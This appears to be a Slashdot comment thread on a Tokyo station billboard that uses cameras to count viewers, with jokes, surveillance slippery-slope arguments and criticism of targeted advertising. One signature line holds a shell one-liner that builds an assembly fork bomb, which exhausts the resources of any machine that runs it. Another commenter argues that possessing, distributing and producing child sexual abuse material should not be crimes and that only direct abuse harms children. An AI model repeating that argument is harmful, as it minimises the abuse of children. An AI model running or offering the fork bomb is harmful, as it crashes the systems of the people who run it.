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In Japan, a Billboard That Watches You
An anonymous reader writes "At a Tokyo railway station above a flat-panel display hawking DVDs and books sits a small camera hooked up to some image processing software. When trials begin in January the camera will scan travelers to see how many of them are taking note of the panel, in part of a technology test being run by NTT Communications. It doesn't seek to identify individuals, but it will attempt to figure out how many of the people standing in front of an advertisement are actually looking at it. A second camera, which wasn't fitted at the station but will be when tests begin next month, will take care of estimating how many people are in front of the ad, whether they are looking at it or not."
Wait, what?
Grammar is overrated.
Hence the expression "In Soviet Korea, billboard watches YOU!"
Thanks, I'll be here all week. Try the dog.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I have, many times, and I can honestly say that the only thing I'm looking at are the women. Ninjas sitting on the camera mounting, firing those little star things and nunchuks at me? I wouldn't even notice.
Some people will say "slippery slope", and others will declare that the phrase is a fallacy. As a shortcut description of the probably course of events, "slippery slope" is just fine. In this case:
1: Billboards watch people.
2: These billboards are more popular and are put into more common use.
3: Information from a billboard cam is subpoenaed.
4: Some bright young chap in politics notices that (a) There are cameras everywhere that could be used to observe the populace, (b) The information from these cameras isn't in use, and (c) He is up for re-election soon and needs some dirt on his opponent.
5: This politician will make a bill to monitor the billboards. Anyone in opposition will be "soft on crime", "unwilling to monitor dangerous criminals", and "must be hiding something."
6: Sooner or later, Minority Report.
If video games influenced behavior the Pac Man generation would be eating pills and running away from their problems.
The same technology is used even in Poland, which is still seen by the western world as a "developing country". By the way, see this.
Build a tool even an idiot can use and only an idiot will want to use it. -S.O.B.
I RTFA (sorry!) and it doesn't say. As I live there I'd be interested in taking a look.
(I know I won't be tracked or even just mess up their trial statistics, what with me being a foreigner and all that: "We gathered together many faces and came up with an average Japanese face, and by using pattern matching the system recognizes faces from the image.")
Let me know when the billboard ads for the personal/cleaning/pleasure toy robots are put up in the mall and they jump out at you while you are walking, yelling, "Buy me!" then that will be pretty damn impressive.
Seriously though, a bit sneaky, but fascinating that they want a headcount of who walks by these marketing ads. I wonder if they realize how numb the public is to this by now? I don't know if there have been studies, but it seems to me, the older you get, the less you want, I could be wrong, I am just speaking from personal experience.
Minority Report. Serves the double purpose of marketing to individual preferences, and also keeping track of the populace.
~ I am logged on, therefore I am.
Whenever there's only one person looking at the billboard, have its contents change subtly. For example, a character on the billboard could briefly glance at the viewer. Do it, Japan!
Every time I've seen your sig "I am the cheese", I almost want to disregard everything else you've said.
That says something about you...
I understand that child porn is a legislation gateway for something-nefarious(tm), BUT currently viewing child porn IS NOT illegal. In fact, if you ever serve on the jury for a case about child porn PRODUCER, you may have to view some as evidence. What is illegal is 1) paying for it 2) storing or distributing it 3) creating it.
What I mean to say, but don't because it makes an awkward sentence is: Paying for, storing, distributing, and filming child porn: Thought crime.
In each of these cases, your helping create supply and/or demand
I dispute this. Only paying for it creates demand.
which does in fact hurt children.
I dispute that too. The only action of those specified that hurts a child is actual abuse, and only that and directly commissioning such should be a crime.
Currently, accidentally downloading child porn or viewing is unlikely to attract FBI attention, unless you do it a lot (and how can that be accidental?) I mean, if the FBI acted on that, they'd be arresting huge swaths of 4chan members at a time, since that stuff is (somewhat) frequently posted on message threads. If you do accidentally download it, you are probably tech savvy enough, being a Slashdot poster, to clean out your temporary files.
When it comes right down to it, seeing your signature makes me wonder if you are in fact, a pedophile. If you are, and you've never committed a crime, great! but that's your business. However, it still hurts your reputation to have that out in the open and it muddies the real issues.
I think it is a real issue. I have a serious problem with other people's information flow being stopped by any entity for any reason. If people don't like this point of view then I have at least made them think. If my reputation takes a hit because people are prejudiced against pedophiles, so be it. I sincerely appreciate your mostly unbiased approach to this controversial subject.
If video games influenced behavior the Pac Man generation would be eating pills and running away from their problems.
*puts sock on head*
Please stop stalking me, bro.
i'd ban Billboards. wastes of space. used for covering unmaintained eye sore government property, or just an eye sore in themselves.
i don't think i can remember any advertising campaign, or anything good that was on a bill board.
boo hiss etc.
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So once the first person put up the first camera, he thus granted license for 24x7 surveillance of the entire populace? Why should anyone have any problem with it, others are doing it!
I guess I'll go out and murder my grandmother. Hey, I don't understand why this is a big issue as there are plenty of other murders in most major cities.
If someone is unethical, pointing out that other people are also unethical should NOT be a justification.
3: Information from a billboard cam is subpoenaed. ... 5: a bill to monitor the billboards. Anyone in opposition will be "soft on crime", "unwilling to monitor dangerous criminals", and "must be hiding something."
6: Sooner or later, Minority Report.
That's one of many slippery slopes (though, humorously, my slope also ends in Minority Report...)
Another that comes to mind is statistics, which have always been very integral to advertising, but Google is pushing this angle HARD. Basically, the more statistical data you have, the better you can target ads and thus the better you are at pushing products. This means that it is advantageous to the advertiser to discriminate as much as possible.
Example: figure out what brand clothes and items passers-by wear; if people who wear brand-name shoes pay more attention, you might want to put brand-name apparel on the ads. To push that even further, people who wear lots of bulky gold jewelry tend to like rap, so advertising the latest rap albums might turn more heads.
Worse example: This is not limited to your fashion; different classes, ages, and ethnic groups tend to react differently to ads, so they can decide that since there are lots of Hispanic passers-by, an ad targeting them would be logical.
If you've ever seen the ads in Minority Report , you have a pretty good glimpse into what this can do, even without figuring out exactly who you are by an implant, device, or facial recognition database: Dynamic displays that understand the nature of their viewer at any given moment would merely change the displayed ad to reflect each viewer. Multi-directional ads would be able to target multiple groups simultaneously. In addition, such things should suck people in (similar to the way television does), providing additional product-pushing and brand-building power.
To those of you who scoff at this sort of thing: don't. Targeted advertising is straight-up dangerous, even the stuff you think you successfully ignore, as proven by P.T. Barnum with saturation advertising (e.g. lining the walls along a street with the same ad poster over and over again) and later perfected through corporate brand building.
Over time, extremely well-targeted ads slowly wear away at your reason, biasing you in unnoticeable increments towards whatever products the advertisers are pushing. You are losing your individuality, and the corporate advertising agencies are slowly gaining influence on you in ways that colleagues, friends and family used to (rightly) monopolize. This means biasing your decision-making, your morals, your vote, and how you raise your children.
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